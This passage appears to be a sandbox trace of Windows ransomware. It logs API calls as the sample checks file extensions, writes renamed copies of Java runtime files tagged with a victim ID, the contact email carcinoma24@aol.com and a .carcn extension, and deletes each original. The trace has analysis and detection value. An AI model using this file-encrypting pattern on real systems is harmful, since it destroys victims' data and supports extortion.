lpString2=".exe") returned 1 [0306.048] lstrlenW (lpString=".xls") returned 4 [0306.048] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0306.048] lstrlenW (lpString=".xlsx") returned 5 [0306.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0306.048] lstrlenW (lpString=".ppt") returned 4 [0306.048] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0306.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.048] lstrlenW (lpString=".zip") returned 4 [0306.048] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0306.048] lstrlenW (lpString=".rar") returned 4 [0306.048] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0306.048] lstrlenW (lpString=".bz2") returned 4 [0306.048] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0306.048] lstrlenW (lpString=".7z") returned 3 [0306.048] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0306.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.048] lstrlenW (lpString=".dbf") returned 4 [0306.048] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0306.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.049] lstrlenW (lpString=".1cd") returned 4 [0306.049] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0306.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.049] lstrlenW (lpString=".jpg") returned 4 [0306.049] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.049] lstrlenW (lpString=".doc") returned 4 [0306.049] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0306.049] lstrlenW (lpString=".docx") returned 5 [0306.049] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0306.049] lstrlenW (lpString=".pdf") returned 4 [0306.049] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString=".xls") returned 4 [0306.049] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString=".xlsx") returned 5 [0306.049] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0306.049] lstrlenW (lpString=".ppt") returned 4 [0306.049] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.049] lstrlenW (lpString=".zip") returned 4 [0306.049] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString=".rar") returned 4 [0306.049] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0306.049] lstrlenW (lpString=".bz2") returned 4 [0306.049] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0306.049] lstrlenW (lpString=".7z") returned 3 [0306.050] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0306.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.050] lstrlenW (lpString=".dbf") returned 4 [0306.050] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0306.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.050] lstrlenW (lpString=".1cd") returned 4 [0306.050] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0306.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.050] lstrlenW (lpString=".jpg") returned 4 [0306.050] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0306.050] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0306.050] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0306.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.051] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=24128) returned 1 [0306.051] CloseHandle (hObject=0x35c) returned 1 [0306.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0306.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.052] GetLastError () returned 0x0 [0306.052] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x5e40, lpOverlapped=0x0) returned 1 [0306.068] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x5e50, lpOverlapped=0x0) returned 1 [0306.071] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.071] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf4, lpOverlapped=0x0) returned 1 [0306.071] SetEndOfFile (hFile=0x348) returned 1 [0306.071] CloseHandle (hObject=0x348) returned 1 [0306.071] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.071] SetEndOfFile (hFile=0x35c) returned 1 [0306.072] CloseHandle (hObject=0x35c) returned 1 [0306.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.073] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0306.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.073] lstrlenW (lpString=".doc") returned 4 [0306.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString=".docx") returned 5 [0306.073] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0306.073] lstrlenW (lpString=".pdf") returned 4 [0306.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString=".xls") returned 4 [0306.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString=".xlsx") returned 5 [0306.073] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0306.073] lstrlenW (lpString=".ppt") returned 4 [0306.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.073] lstrlenW (lpString=".zip") returned 4 [0306.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString=".rar") returned 4 [0306.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.073] lstrlenW (lpString=".bz2") returned 4 [0306.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.074] lstrlenW (lpString=".7z") returned 3 [0306.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString=".dbf") returned 4 [0306.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString=".1cd") returned 4 [0306.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString=".jpg") returned 4 [0306.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString=".doc") returned 4 [0306.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString=".docx") returned 5 [0306.074] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0306.074] lstrlenW (lpString=".pdf") returned 4 [0306.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString=".xls") returned 4 [0306.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString=".xlsx") returned 5 [0306.074] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0306.074] lstrlenW (lpString=".ppt") returned 4 [0306.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.074] lstrlenW (lpString=".zip") returned 4 [0306.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.074] lstrlenW (lpString=".rar") returned 4 [0306.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.075] lstrlenW (lpString=".bz2") returned 4 [0306.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.075] lstrlenW (lpString=".7z") returned 3 [0306.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.075] lstrlenW (lpString=".dbf") returned 4 [0306.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.075] lstrlenW (lpString=".1cd") returned 4 [0306.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0306.075] lstrlenW (lpString=".jpg") returned 4 [0306.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.075] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0306.075] lstrlenW (lpString="wsdetect.dll") returned 12 [0306.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.076] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=192576) returned 1 [0306.076] CloseHandle (hObject=0x35c) returned 1 [0306.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0306.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.077] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.077] GetLastError () returned 0x0 [0306.077] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x2f040, lpOverlapped=0x0) returned 1 [0306.346] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x2f050, lpOverlapped=0x0) returned 1 [0306.350] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.350] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.350] SetEndOfFile (hFile=0x348) returned 1 [0306.350] CloseHandle (hObject=0x348) returned 1 [0306.350] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.350] SetEndOfFile (hFile=0x35c) returned 1 [0306.353] CloseHandle (hObject=0x35c) returned 1 [0306.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.353] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 1 [0306.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.353] lstrlenW (lpString=".doc") returned 4 [0306.353] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.353] lstrlenW (lpString=".docx") returned 5 [0306.353] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0306.353] lstrlenW (lpString=".pdf") returned 4 [0306.353] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.353] lstrlenW (lpString=".xls") returned 4 [0306.354] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString=".xlsx") returned 5 [0306.354] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0306.354] lstrlenW (lpString=".ppt") returned 4 [0306.354] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString=".zip") returned 4 [0306.354] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString=".rar") returned 4 [0306.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString=".bz2") returned 4 [0306.354] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.354] lstrlenW (lpString=".7z") returned 3 [0306.354] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString=".dbf") returned 4 [0306.354] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString=".1cd") returned 4 [0306.354] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString=".jpg") returned 4 [0306.354] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.354] lstrlenW (lpString=".doc") returned 4 [0306.354] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.354] lstrlenW (lpString=".docx") returned 5 [0306.354] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0306.355] lstrlenW (lpString=".pdf") returned 4 [0306.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.355] lstrlenW (lpString=".xls") returned 4 [0306.355] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.355] lstrlenW (lpString=".xlsx") returned 5 [0306.355] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0306.355] lstrlenW (lpString=".ppt") returned 4 [0306.355] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.355] lstrlenW (lpString=".zip") returned 4 [0306.355] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.355] lstrlenW (lpString=".rar") returned 4 [0306.355] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.355] lstrlenW (lpString=".bz2") returned 4 [0306.355] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.355] lstrlenW (lpString=".7z") returned 3 [0306.355] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.355] lstrlenW (lpString=".dbf") returned 4 [0306.355] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.355] lstrlenW (lpString=".1cd") returned 4 [0306.355] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0306.355] lstrlenW (lpString=".jpg") returned 4 [0306.355] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.356] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".carcn") returned -1 [0306.356] lstrlenW (lpString="classlist") returned 9 [0306.356] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.356] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=84355) returned 1 [0306.356] CloseHandle (hObject=0x35c) returned 1 [0306.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0306.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.356] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.357] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.357] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.357] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.358] GetLastError () returned 0x0 [0306.358] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x14983, lpOverlapped=0x0) returned 1 [0306.360] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x14990, lpOverlapped=0x0) returned 1 [0306.362] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.362] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0306.362] SetEndOfFile (hFile=0x348) returned 1 [0306.362] CloseHandle (hObject=0x348) returned 1 [0306.362] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.363] SetEndOfFile (hFile=0x35c) returned 1 [0306.364] CloseHandle (hObject=0x35c) returned 1 [0306.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.364] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0306.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.365] lstrlenW (lpString=".doc") returned 4 [0306.365] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0306.365] lstrlenW (lpString=".docx") returned 5 [0306.365] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0306.365] lstrlenW (lpString=".pdf") returned 4 [0306.365] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0306.365] lstrlenW (lpString=".xls") returned 4 [0306.365] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0306.365] lstrlenW (lpString=".xlsx") returned 5 [0306.365] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0306.365] lstrlenW (lpString=".ppt") returned 4 [0306.365] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.366] lstrlenW (lpString=".zip") returned 4 [0306.366] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".rar") returned 4 [0306.366] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".bz2") returned 4 [0306.366] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".7z") returned 3 [0306.366] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.366] lstrlenW (lpString=".dbf") returned 4 [0306.366] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.366] lstrlenW (lpString=".1cd") returned 4 [0306.366] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.366] lstrlenW (lpString=".jpg") returned 4 [0306.366] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 